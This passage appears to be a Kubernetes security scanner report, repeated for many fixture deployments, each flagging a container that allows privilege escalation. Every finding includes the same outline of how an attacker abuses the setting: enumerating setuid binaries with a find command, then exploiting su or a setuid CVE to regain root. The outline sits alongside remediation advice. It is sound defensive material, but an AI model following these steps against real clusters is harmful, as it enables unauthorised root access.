A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n lp-fixtures -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/lp-fixtures/lp-orphan-app Workload 7.8
Container app allows privilege escalation in Deployment/lp-fixtures/lp-orphan-app
Scope · Workload Workload Deployment/lp-fixtures/lp-orphan-app
Category: Privilege Escalation Resource: Deployment/lp-fixtures/lp-orphan-app Namespace: lp-fixtures

Container app in Deployment/lp-fixtures/lp-orphan-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n lp-fixtures -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/lp-fixtures/lp-wildcard-app Workload 7.8
Container app allows privilege escalation in Deployment/lp-fixtures/lp-wildcard-app
Scope · Workload Workload Deployment/lp-fixtures/lp-wildcard-app
Category: Privilege Escalation Resource: Deployment/lp-fixtures/lp-wildcard-app Namespace: lp-fixtures

Container app in Deployment/lp-fixtures/lp-wildcard-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n lp-fixtures -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/netpol-imds/imds-allow-app Workload 7.8
Container app allows privilege escalation in Deployment/netpol-imds/imds-allow-app
Scope · Workload Workload Deployment/netpol-imds/imds-allow-app
Category: Privilege Escalation Resource: Deployment/netpol-imds/imds-allow-app Namespace: netpol-imds

Container app in Deployment/netpol-imds/imds-allow-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n netpol-imds -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/netpol-imds/imds-open-app Workload 7.8
Container app allows privilege escalation in Deployment/netpol-imds/imds-open-app
Scope · Workload Workload Deployment/netpol-imds/imds-open-app
Category: Privilege Escalation Resource: Deployment/netpol-imds/imds-open-app Namespace: netpol-imds

Container app in Deployment/netpol-imds/imds-open-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n netpol-imds -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/psa-unlabeled-fixtures/psa-unlabeled-app Workload 7.8
Container app allows privilege escalation in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
Scope · Workload Workload Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
Category: Privilege Escalation Resource: Deployment/psa-unlabeled-fixtures/psa-unlabeled-app Namespace: psa-unlabeled-fixtures

Container app in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n psa-unlabeled-fixtures -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/rbac-fixtures/imp-app Workload 7.8
Container app allows privilege escalation in Deployment/rbac-fixtures/imp-app
Scope · Workload Workload Deployment/rbac-fixtures/imp-app
Category: Privilege Escalation Resource: Deployment/rbac-fixtures/imp-app Namespace: rbac-fixtures

Container app in Deployment/rbac-fixtures/imp-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n rbac-fixtures -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/rbac-fixtures/wildcard-app Workload 7.8
Container app allows privilege escalation in Deployment/rbac-fixtures/wildcard-app
Scope · Workload Workload Deployment/rbac-fixtures/wildcard-app
Category: Privilege Escalation Resource: Deployment/rbac-fixtures/wildcard-app Namespace: rbac-fixtures

Container app in Deployment/rbac-fixtures/wildcard-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n rbac-fixtures -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/statusspoof-fixtures/statusspoof-api Workload 7.8
Container app allows privilege escalation in Deployment/statusspoof-fixtures/statusspoof-api
Scope · Workload Workload Deployment/statusspoof-fixtures/statusspoof-api
Category: Privilege Escalation Resource: Deployment/statusspoof-fixtures/statusspoof-api Namespace: statusspoof-fixtures

Container app in Deployment/statusspoof-fixtures/statusspoof-api either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n statusspoof-fixtures -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/vulnerable/generic-hostpath-app Workload 7.8
Container app allows privilege escalation in Deployment/vulnerable/generic-hostpath-app
Scope · Workload Workload Deployment/vulnerable/generic-hostpath-app
Category: Privilege Escalation Resource: Deployment/vulnerable/generic-hostpath-app Namespace: vulnerable

Container app in Deployment/vulnerable/generic-hostpath-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n vulnerable -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/vulnerable/host-ns-app Workload 7.8
Container app allows privilege escalation in Deployment/vulnerable/host-ns-app
Scope · Workload Workload Deployment/vulnerable/host-ns-app
Category: Privilege Escalation Resource: Deployment/vulnerable/host-ns-app Namespace: vulnerable

Container app in Deployment/vulnerable/host-ns-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n vulnerable -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/vulnerable/risky-app Workload 7.8
Container app allows privilege escalation in Deployment/vulnerable/risky-app
Scope · Workload Workload Deployment/vulnerable/risky-app
Category: Privilege Escalation Resource: Deployment/vulnerable/risky-app Namespace: vulnerable

Container app in Deployment/vulnerable/risky-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n vulnerable -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/vulnerable/root-runner Workload 7.8
Container app allows privilege escalation in Deployment/vulnerable/root-runner
Scope · Workload Workload Deployment/vulnerable/root-runner
Category: Privilege Escalation Resource: Deployment/vulnerable/root-runner Namespace: vulnerable

Container app in Deployment/vulnerable/root-runner either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n vulnerable -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/vulnerable/socket-mounts-app Workload 7.8
Container app allows privilege escalation in Deployment/vulnerable/socket-mounts-app
Scope · Workload Workload Deployment/vulnerable/socket-mounts-app
Category: Privilege Escalation Resource: Deployment/vulnerable/socket-mounts-app Namespace: vulnerable

Container app in Deployment/vulnerable/socket-mounts-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n vulnerable -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
